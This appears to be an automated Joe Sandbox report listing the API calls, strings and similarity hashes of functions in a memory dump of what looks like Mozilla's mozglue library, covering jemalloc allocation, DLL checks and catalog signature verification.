CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C9D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9D7598
free.MOZGLUE(00000000), ref: 6C9D75AC

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

Strings

SHA256, xrefs: 6C9D6EC0
wintrust.dll, xrefs: 6C9D72CD
(, xrefs: 6C9D768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9D72C8

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ddd6b698354e09de700d88e8c6c894e1bfd07e9587462b95813e75d171e26254
Instruction ID: 496eaf2d1aa0c7d8c4343c20d70551221c245ffcac7a3c23ec5bda2c00211871
Opcode Fuzzy Hash: ddd6b698354e09de700d88e8c6c894e1bfd07e9587462b95813e75d171e26254
Instruction Fuzzy Hash: 3E52D271A007159BEB25DF24CC88BAA77BCEB55708F01C199E909AB640DB31FB85CF61

Function 6C9F6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9F7019
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9F7061
EnterCriticalSection.KERNEL32(?), ref: 6C9F71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C9F721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C9F723E
EnterCriticalSection.KERNEL32(?), ref: 6C9F726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9F72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C9F733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9F73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C9F961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9F9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9F9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9F964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9F96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9F96DB
AcquireSRWLockExclusive.KERNEL32(6CA4E804), ref: 6C9F9747
GetSystemInfo.KERNEL32(?), ref: 6C9F9792
__Init_thread_footer.LIBCMT ref: 6C9F97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CA4E810,00000040), ref: 6C9F97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E7B8,00001388), ref: 6C9F9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E744,00001388), ref: 6C9F984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E784,00001388), ref: 6C9F9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E7DC,00001388), ref: 6C9F9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9F99BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9F99D2
MALLOC_OPTIONS, xrefs: 6C9F97CA
Compile-time page size does not divide the runtime one., xrefs: 6C9F9B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9F9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9F9BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9F99A8
MOZ_CRASH(), xrefs: 6C9F9B42
<jemalloc>, xrefs: 6C9F9B33, 6C9F9BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9F9933, 6C9F9A33, 6C9F9A4E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 044e5de9c3d7d3d88e6f098e13af9764e4760abd031ffb567b667c04b6812c60
Instruction ID: 49e00599e56e048ca59205fbadcc48854101bf5948095147c70c3445b3651ac4
Opcode Fuzzy Hash: 044e5de9c3d7d3d88e6f098e13af9764e4760abd031ffb567b667c04b6812c60
Instruction Fuzzy Hash: 06536F71A057018FD718CF29C580615FBE5BF86328F2AC6ADE8798B791D771E842CB81

Function 6CA00DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA00F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA00F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA00FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA00FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA01031
LeaveCriticalSection.KERNEL32(?), ref: 6CA010D0
EnterCriticalSection.KERNEL32(?), ref: 6CA0117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA01C39
EnterCriticalSection.KERNEL32(6CA4E744), ref: 6CA03391
LeaveCriticalSection.KERNEL32(6CA4E744), ref: 6CA033CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA03431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA03437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA037BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA037D2
MALLOC_OPTIONS, xrefs: 6CA035FE
Compile-time page size does not divide the runtime one., xrefs: 6CA03946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA03793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA03A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA037A8
MOZ_CRASH(), xrefs: 6CA03950
<jemalloc>, xrefs: 6CA03941, 6CA039F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA03559, 6CA0382D, 6CA03848

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 3900de6e346672aae91c266c47a985647a1687f2453e27990f26686fbff20ec4
Instruction ID: 3f3565e0fc314a7550b0fab741216821b4c3c19ec1e7b2d51a7055f6769b43f2
Opcode Fuzzy Hash: 3900de6e346672aae91c266c47a985647a1687f2453e27990f26686fbff20ec4
Instruction Fuzzy Hash: 8F536A71B067018FD304CF29D540616BBE1BF8936CF29C6ADE8A99B791D771E881CB81

Function 6CA255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C9FE1A5), ref: 6CA25606
LoadLibraryW.KERNEL32(gdi32,?,6C9FE1A5), ref: 6CA2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA257FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6CA2562D
RegisterClassW, xrefs: 6CA256AC
MonitorFromWindow, xrefs: 6CA2578D
user32, xrefs: 6CA25601
EnableNonClientDpiScaling, xrefs: 6CA25666
LoadCursorW, xrefs: 6CA25774
LoadIconW, xrefs: 6CA2575B
FillRect, xrefs: 6CA25729
AreDpiAwarenessContextsEqual, xrefs: 6CA25637
DeleteObject, xrefs: 6CA257F9
gdi32, xrefs: 6CA2560A
CreateSolidBrush, xrefs: 6CA257E4
GetWindowDC, xrefs: 6CA25710
GetSystemMetricsForDpi, xrefs: 6CA25677
GetMonitorInfoW, xrefs: 6CA257A2
GetDpiForWindow, xrefs: 6CA25690
ShowWindow, xrefs: 6CA256DE
SetWindowPos, xrefs: 6CA256F7
CreateWindowExW, xrefs: 6CA256C5
ReleaseDC, xrefs: 6CA25742
StretchDIBits, xrefs: 6CA257CC
SetWindowLongPtrW, xrefs: 6CA257B7

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ad2cc6177dcd012b3f4f992e3a606bae635eee6f986689dc4acff1cea863392f
Instruction ID: 0ba87cf58f5973e61b3c8c89173d86a3791f47866a687cfcd3f08b34415c55f8
Opcode Fuzzy Hash: ad2cc6177dcd012b3f4f992e3a606bae635eee6f986689dc4acff1cea863392f
Instruction Fuzzy Hash: 8051B470B117139FDB04AF389D08D2A3AB8FB46249718D529E911E2A05EBB5C8428F71

Function 6CA234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA23EE2

Part of subcall function 6CA26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA261DD
Part of subcall function 6CA26180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA2622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA24157

Part of subcall function 6CA26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA26250
Part of subcall function 6CA26180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA26292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA2441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA24448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA2484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA24863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA24878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA24896
free.MOZGLUE ref: 6CA2489F

Strings

, xrefs: 6CA24CD2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3c693379b1af655cea7a3271cb28496ad8af7030cebcf4d790d1ee93b1e96ad2
Instruction ID: 19347812e0c5a60ca8c9c87ac1236e9553b766efbb22d41a66ab054e940fc512
Opcode Fuzzy Hash: 3c693379b1af655cea7a3271cb28496ad8af7030cebcf4d790d1ee93b1e96ad2
Instruction Fuzzy Hash: 3AF24974908B90CFC725CF28C19469AFBF1FF89308F158A5ED99997711DB329886CB42

Function 6C9D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C9D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C9D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C9D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D671C
GetCurrentProcess.KERNEL32 ref: 6C9D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C9D672F
GetCurrentProcess.KERNEL32 ref: 6C9D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C9D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C9D6A80
GetSystemInfo.KERNEL32(?), ref: 6C9D6ABE
__Init_thread_footer.LIBCMT ref: 6C9D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C9D6798
nvd3d9wrap.dll, xrefs: 6C9D6500
user32.dll, xrefs: 6C9D6526
_etoured.dll, xrefs: 6C9D64ED
nvdxgiwrap.dll, xrefs: 6C9D6513
detoured.dll, xrefs: 6C9D64DA

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 67e9de471cf8575677610b3e5641e9b46bda69499e13b62ad199725bd9eb2117
Instruction ID: 436e2b526c28ad77b60cde685ec1c07395207c125a320284625948cc0c2e2d54
Opcode Fuzzy Hash: 67e9de471cf8575677610b3e5641e9b46bda69499e13b62ad199725bd9eb2117
Instruction Fuzzy Hash: CDF1D070901B299FCB20DF24CC88B9AB7B8AF55308F15C6D9D849A7681D731FA85CF90

Function 6C9F60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9F60C9
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9F610D
EnterCriticalSection.KERNEL32(?), ref: 6C9F618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9F61F9

Strings

MALLOC_OPTIONS, xrefs: 6C9F6888
Compile-time page size does not divide the runtime one., xrefs: 6C9F6AAE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9F6B6A
MOZ_CRASH(), xrefs: 6C9F6AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9F6BC7, 6C9F6F97, 6C9F6FB2
<jemalloc>, xrefs: 6C9F6AA9, 6C9F6B59

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 95bc638eadfbc1c3bd5845a224e4ad67a9d9cf30ce219f23d413b7533b157003
Instruction ID: 10decde9ccd12ebca826cb8cdaaf9415b81b2faa5a4c6343661a09ab8aa448c0
Opcode Fuzzy Hash: 95bc638eadfbc1c3bd5845a224e4ad67a9d9cf30ce219f23d413b7533b157003
Instruction Fuzzy Hash: 0FA29C71A057118FD708CF28C550615BBF5FB86328F29C66DE8A9DBB91C771E842CB81

Function 6CA2C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA2C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA2C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA2C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA2CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA2DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2E472

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 7c33312f0a8ee03c24b4949a1c9b8754419310b62a167aaa7a57ddd03eeabec1
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: A833AF71E0022A8FCB14CFACC8806EDBBF2FF49314F284269D955AB755D735A985CB90

Function 6C9DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E7B8), ref: 6C9DFF81
LeaveCriticalSection.KERNEL32(6CA4E7B8), ref: 6C9E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C9E0240
EnterCriticalSection.KERNEL32(6CA4E768), ref: 6C9E025B
LeaveCriticalSection.KERNEL32(6CA4E768), ref: 6C9E027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9E0D67, 6C9E0D7B, 6C9E0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9DFE99, 6C9DFEB7, 6C9DFED3, 6C9E0DB8, 6C9E0DD3, 6C9E19B4
<jemalloc>, xrefs: 6C9E0D62, 6C9E0D76, 6C9E0DA7

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: ab647ecce890a6572df05029eb0118f0216246ba0594509200a86c8d4530f46c
Instruction ID: abdd91d3eb763233d36e3efcd10b331c16efbab1279202186688c8252a57d607
Opcode Fuzzy Hash: ab647ecce890a6572df05029eb0118f0216246ba0594509200a86c8d4530f46c
Instruction Fuzzy Hash: B4C2C171A057418FD715CF28C880716BBE1FF9A328F28C66DE4A98B795DB71E841CB81

Function 6CA2E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA2E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA2EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA2F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA2F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA30E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA30E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA30EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA30ED4

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
